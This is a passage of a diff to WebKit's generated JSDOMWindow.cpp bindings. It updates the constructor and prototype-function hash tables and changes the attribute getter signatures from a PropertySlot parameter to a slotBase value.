+    { "SVGTransform", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGTransformConstructor), (intptr_t)setJSDOMWindowSVGTransformConstructor },
+    { "SVGTransformList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGTransformListConstructor), (intptr_t)setJSDOMWindowSVGTransformListConstructor },
+    { "SVGTRefElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGTRefElementConstructor), (intptr_t)setJSDOMWindowSVGTRefElementConstructor },
+    { "SVGTSpanElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGTSpanElementConstructor), (intptr_t)setJSDOMWindowSVGTSpanElementConstructor },
+    { "SVGUnitTypes", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGUnitTypesConstructor), (intptr_t)setJSDOMWindowSVGUnitTypesConstructor },
+    { "SVGUseElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGUseElementConstructor), (intptr_t)setJSDOMWindowSVGUseElementConstructor },
+    { "SVGViewElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGViewElementConstructor), (intptr_t)setJSDOMWindowSVGViewElementConstructor },
+    { "SVGZoomEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGZoomEventConstructor), (intptr_t)setJSDOMWindowSVGZoomEventConstructor },
+    { "SVGComponentTransferFunctionElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGComponentTransferFunctionElementConstructor), (intptr_t)setJSDOMWindowSVGComponentTransferFunctionElementConstructor },
+    { "SVGFEBlendElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEBlendElementConstructor), (intptr_t)setJSDOMWindowSVGFEBlendElementConstructor },
+    { "SVGFEColorMatrixElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEColorMatrixElementConstructor), (intptr_t)setJSDOMWindowSVGFEColorMatrixElementConstructor },
+    { "SVGFEComponentTransferElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEComponentTransferElementConstructor), (intptr_t)setJSDOMWindowSVGFEComponentTransferElementConstructor },
+    { "SVGFECompositeElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFECompositeElementConstructor), (intptr_t)setJSDOMWindowSVGFECompositeElementConstructor },
+    { "SVGFEDiffuseLightingElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEDiffuseLightingElementConstructor), (intptr_t)setJSDOMWindowSVGFEDiffuseLightingElementConstructor },
+    { "SVGFEDisplacementMapElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEDisplacementMapElementConstructor), (intptr_t)setJSDOMWindowSVGFEDisplacementMapElementConstructor },
+    { "SVGFEDistantLightElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEDistantLightElementConstructor), (intptr_t)setJSDOMWindowSVGFEDistantLightElementConstructor },
+    { "SVGFEFloodElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEFloodElementConstructor), (intptr_t)setJSDOMWindowSVGFEFloodElementConstructor },
+    { "SVGFEFuncAElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEFuncAElementConstructor), (intptr_t)setJSDOMWindowSVGFEFuncAElementConstructor },
+    { "SVGFEFuncBElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEFuncBElementConstructor), (intptr_t)setJSDOMWindowSVGFEFuncBElementConstructor },
+    { "SVGFEFuncGElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEFuncGElementConstructor), (intptr_t)setJSDOMWindowSVGFEFuncGElementConstructor },
+    { "SVGFEFuncRElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEFuncRElementConstructor), (intptr_t)setJSDOMWindowSVGFEFuncRElementConstructor },
+    { "SVGFEGaussianBlurElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEGaussianBlurElementConstructor), (intptr_t)setJSDOMWindowSVGFEGaussianBlurElementConstructor },
+    { "SVGFEImageElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEImageElementConstructor), (intptr_t)setJSDOMWindowSVGFEImageElementConstructor },
+    { "SVGFEMergeElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEMergeElementConstructor), (intptr_t)setJSDOMWindowSVGFEMergeElementConstructor },
+    { "SVGFEMergeNodeElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEMergeNodeElementConstructor), (intptr_t)setJSDOMWindowSVGFEMergeNodeElementConstructor },
+    { "SVGFEMorphologyElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEMorphologyElementConstructor), (intptr_t)setJSDOMWindowSVGFEMorphologyElementConstructor },
+    { "SVGFEOffsetElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEOffsetElementConstructor), (intptr_t)setJSDOMWindowSVGFEOffsetElementConstructor },
+    { "SVGFEPointLightElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFEPointLightElementConstructor), (intptr_t)setJSDOMWindowSVGFEPointLightElementConstructor },
+    { "SVGFESpecularLightingElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFESpecularLightingElementConstructor), (intptr_t)setJSDOMWindowSVGFESpecularLightingElementConstructor },
+    { "SVGFESpotLightElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFESpotLightElementConstructor), (intptr_t)setJSDOMWindowSVGFESpotLightElementConstructor },
+    { "SVGFETileElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFETileElementConstructor), (intptr_t)setJSDOMWindowSVGFETileElementConstructor },
+    { "SVGFETurbulenceElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFETurbulenceElementConstructor), (intptr_t)setJSDOMWindowSVGFETurbulenceElementConstructor },
+    { "SVGFilterElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGFilterElementConstructor), (intptr_t)setJSDOMWindowSVGFilterElementConstructor },
+#if ENABLE(TOUCH_EVENTS)
+    { "TouchEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowTouchEventConstructor), (intptr_t)setJSDOMWindowTouchEventConstructor },
 #endif
-    { "XPathEvaluator", DontDelete, (intptr_t)jsDOMWindowXPathEvaluatorConstructor, (intptr_t)setJSDOMWindowXPathEvaluatorConstructor },
-    { "XPathResult", DontDelete, (intptr_t)jsDOMWindowXPathResultConstructor, (intptr_t)setJSDOMWindowXPathResultConstructor },
-    { "XPathException", DontDelete, (intptr_t)jsDOMWindowXPathExceptionConstructor, (intptr_t)setJSDOMWindowXPathExceptionConstructor },
-    { "SVGAngle", DontDelete, (intptr_t)jsDOMWindowSVGAngleConstructor, (intptr_t)setJSDOMWindowSVGAngleConstructor },
-    { "SVGColor", DontDelete, (intptr_t)jsDOMWindowSVGColorConstructor, (intptr_t)setJSDOMWindowSVGColorConstructor },
-    { "SVGException", DontDelete, (intptr_t)jsDOMWindowSVGExceptionConstructor, (intptr_t)setJSDOMWindowSVGExceptionConstructor },
-    { "SVGGradientElement", DontDelete, (intptr_t)jsDOMWindowSVGGradientElementConstructor, (intptr_t)setJSDOMWindowSVGGradientElementConstructor },
-    { "SVGLength", DontDelete, (intptr_t)jsDOMWindowSVGLengthConstructor, (intptr_t)setJSDOMWindowSVGLengthConstructor },
-    { "SVGMarkerElement", DontDelete, (intptr_t)jsDOMWindowSVGMarkerElementConstructor, (intptr_t)setJSDOMWindowSVGMarkerElementConstructor },
-    { "SVGPaint", DontDelete, (intptr_t)jsDOMWindowSVGPaintConstructor, (intptr_t)setJSDOMWindowSVGPaintConstructor },
-    { "SVGPathSeg", DontDelete, (intptr_t)jsDOMWindowSVGPathSegConstructor, (intptr_t)setJSDOMWindowSVGPathSegConstructor },
-    { "SVGPreserveAspectRatio", DontDelete, (intptr_t)jsDOMWindowSVGPreserveAspectRatioConstructor, (intptr_t)setJSDOMWindowSVGPreserveAspectRatioConstructor },
-    { "SVGRenderingIntent", DontDelete, (intptr_t)jsDOMWindowSVGRenderingIntentConstructor, (intptr_t)setJSDOMWindowSVGRenderingIntentConstructor },
-    { "SVGTextContentElement", DontDelete, (intptr_t)jsDOMWindowSVGTextContentElementConstructor, (intptr_t)setJSDOMWindowSVGTextContentElementConstructor },
-    { "SVGTextPathElement", DontDelete, (intptr_t)jsDOMWindowSVGTextPathElementConstructor, (intptr_t)setJSDOMWindowSVGTextPathElementConstructor },
-    { "SVGTransform", DontDelete, (intptr_t)jsDOMWindowSVGTransformConstructor, (intptr_t)setJSDOMWindowSVGTransformConstructor },
-    { "SVGUnitTypes", DontDelete, (intptr_t)jsDOMWindowSVGUnitTypesConstructor, (intptr_t)setJSDOMWindowSVGUnitTypesConstructor },
+    { "FormData", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowFormDataConstructor), (intptr_t)setJSDOMWindowFormDataConstructor },
     { 0, 0, 0, 0 }
 };
 
 static JSC_CONST_HASHTABLE HashTable JSDOMWindowTable =
 #if ENABLE(PERFECT_HASH_SIZE)
-    { 65535, JSDOMWindowTableValues, 0 };
+    { 2097151, JSDOMWindowTableValues, 0 };
 #else
-    { 1067, 1023, JSDOMWindowTableValues, 0 };
+    { 1110, 1023, JSDOMWindowTableValues, 0 };
 #endif
 
 /* Hash table for prototype */
 
 static const HashTableValue JSDOMWindowPrototypeTableValues[37] =
 {
-    { "getSelection", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionGetSelection, (intptr_t)0 },
-    { "focus", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionFocus, (intptr_t)0 },
-    { "blur", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionBlur, (intptr_t)0 },
-    { "close", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionClose, (intptr_t)0 },
-    { "print", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionPrint, (intptr_t)0 },
-    { "stop", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionStop, (intptr_t)0 },
-    { "open", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionOpen, (intptr_t)3 },
-    { "showModalDialog", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionShowModalDialog, (intptr_t)3 },
-    { "alert", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionAlert, (intptr_t)1 },
-    { "confirm", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionConfirm, (intptr_t)1 },
-    { "prompt", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionPrompt, (intptr_t)2 },
-    { "find", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionFind, (intptr_t)7 },
-    { "scrollBy", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionScrollBy, (intptr_t)2 },
-    { "scrollTo", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionScrollTo, (intptr_t)2 },
-    { "scroll", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionScroll, (intptr_t)2 },
-    { "moveBy", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionMoveBy, (intptr_t)2 },
-    { "moveTo", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionMoveTo, (intptr_t)2 },
-    { "resizeBy", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionResizeBy, (intptr_t)2 },
-    { "resizeTo", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionResizeTo, (intptr_t)2 },
-    { "getComputedStyle", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionGetComputedStyle, (intptr_t)2 },
-    { "getMatchedCSSRules", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionGetMatchedCSSRules, (intptr_t)3 },
-    { "webkitConvertPointFromPageToNode", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionWebkitConvertPointFromPageToNode, (intptr_t)2 },
-    { "webkitConvertPointFromNodeToPage", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionWebkitConvertPointFromNodeToPage, (intptr_t)2 },
-    { "openDatabase", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionOpenDatabase, (intptr_t)4 },
-    { "postMessage", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionPostMessage, (intptr_t)3 },
-    { "setTimeout", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionSetTimeout, (intptr_t)2 },
-    { "clearTimeout", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionClearTimeout, (intptr_t)1 },
-    { "setInterval", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionSetInterval, (intptr_t)2 },
-    { "clearInterval", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionClearInterval, (intptr_t)1 },
-    { "atob", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionAtob, (intptr_t)1 },
-    { "btoa", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionBtoa, (intptr_t)1 },
-    { "addEventListener", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionAddEventListener, (intptr_t)3 },
-    { "removeEventListener", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionRemoveEventListener, (intptr_t)3 },
-    { "dispatchEvent", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionDispatchEvent, (intptr_t)1 },
-    { "captureEvents", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionCaptureEvents, (intptr_t)0 },
-    { "releaseEvents", DontDelete|Function, (intptr_t)jsDOMWindowPrototypeFunctionReleaseEvents, (intptr_t)0 },
+    { "getSelection", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionGetSelection), (intptr_t)0 },
+    { "focus", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionFocus), (intptr_t)0 },
+    { "blur", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionBlur), (intptr_t)0 },
+    { "close", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionClose), (intptr_t)0 },
+    { "print", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionPrint), (intptr_t)0 },
+    { "stop", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionStop), (intptr_t)0 },
+    { "open", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionOpen), (intptr_t)3 },
+    { "showModalDialog", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionShowModalDialog), (intptr_t)3 },
+    { "alert", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionAlert), (intptr_t)1 },
+    { "confirm", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionConfirm), (intptr_t)1 },
+    { "prompt", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionPrompt), (intptr_t)2 },
+    { "find", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionFind), (intptr_t)7 },
+    { "scrollBy", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionScrollBy), (intptr_t)2 },
+    { "scrollTo", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionScrollTo), (intptr_t)2 },
+    { "scroll", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionScroll), (intptr_t)2 },
+    { "moveBy", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionMoveBy), (intptr_t)2 },
+    { "moveTo", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionMoveTo), (intptr_t)2 },
+    { "resizeBy", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionResizeBy), (intptr_t)2 },
+    { "resizeTo", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionResizeTo), (intptr_t)2 },
+    { "getComputedStyle", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionGetComputedStyle), (intptr_t)2 },
+    { "getMatchedCSSRules", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionGetMatchedCSSRules), (intptr_t)3 },
+    { "webkitConvertPointFromPageToNode", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionWebkitConvertPointFromPageToNode), (intptr_t)2 },
+    { "webkitConvertPointFromNodeToPage", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionWebkitConvertPointFromNodeToPage), (intptr_t)2 },
+    { "openDatabase", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionOpenDatabase), (intptr_t)5 },
+    { "postMessage", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionPostMessage), (intptr_t)3 },
+    { "setTimeout", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionSetTimeout), (intptr_t)2 },
+    { "clearTimeout", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionClearTimeout), (intptr_t)1 },
+    { "setInterval", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionSetInterval), (intptr_t)2 },
+    { "clearInterval", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionClearInterval), (intptr_t)1 },
+    { "atob", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionAtob), (intptr_t)1 },
+    { "btoa", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionBtoa), (intptr_t)1 },
+    { "addEventListener", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionAddEventListener), (intptr_t)3 },
+    { "removeEventListener", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionRemoveEventListener), (intptr_t)3 },
+    { "dispatchEvent", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionDispatchEvent), (intptr_t)1 },
+    { "captureEvents", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionCaptureEvents), (intptr_t)0 },
+    { "releaseEvents", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMWindowPrototypeFunctionReleaseEvents), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -665,1784 +895,2046 @@ JSDOMWindow::JSDOMWindow(NonNullPassRefPtr<Structure> structure, PassRefPtr<DOMW
 
 JSDOMWindow::~JSDOMWindow()
 {
-    impl()->invalidateEventListeners();
+    impl()->invalidateJSEventListeners(this);
 }
 
-JSValue jsDOMWindowScreen(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowScreen(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->screen()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->screen()));
+    return result;
 }
 
-JSValue jsDOMWindowHistory(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHistory(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     return castedThis->history(exec);
 }
 
-JSValue jsDOMWindowLocationbar(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowLocationbar(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->locationbar()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->locationbar()));
+    return result;
 }
 
-JSValue jsDOMWindowMenubar(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowMenubar(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->menubar()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->menubar()));
+    return result;
 }
 
-JSValue jsDOMWindowPersonalbar(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowPersonalbar(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->personalbar()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->personalbar()));
+    return result;
 }
 
-JSValue jsDOMWindowScrollbars(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowScrollbars(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->scrollbars()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->scrollbars()));
+    return result;
 }
 
-JSValue jsDOMWindowStatusbar(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowStatusbar(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->statusbar()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->statusbar()));
+    return result;
 }
 
-JSValue jsDOMWindowToolbar(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowToolbar(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->toolbar()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->toolbar()));
+    return result;
 }
 
-JSValue jsDOMWindowNavigator(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowNavigator(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->navigator()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->navigator()));
+    return result;
 }
 
-JSValue jsDOMWindowClientInformation(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowClientInformation(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->clientInformation()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->clientInformation()));
+    return result;
 }
 
-JSValue jsDOMWindowLocation(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowLocation(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     return castedThis->location(exec);
 }
 
-JSValue jsDOMWindowEvent(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowEvent(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->event(exec);
 }
 
-JSValue jsDOMWindowCrypto(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCrypto(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->crypto(exec);
 }
 
-JSValue jsDOMWindowFrameElement(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowFrameElement(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     return checkNodeSecurity(exec, imp->frameElement()) ? toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->frameElement())) : jsUndefined();
 }
 
-JSValue jsDOMWindowOffscreenBuffering(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOffscreenBuffering(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
-    return jsBoolean(imp->offscreenBuffering());
+    JSValue result = jsBoolean(imp->offscreenBuffering());
+    return result;
 }
 
-JSValue jsDOMWindowOuterHeight(ExecState* exec, const Identifier&, const PropertySlot& slot)
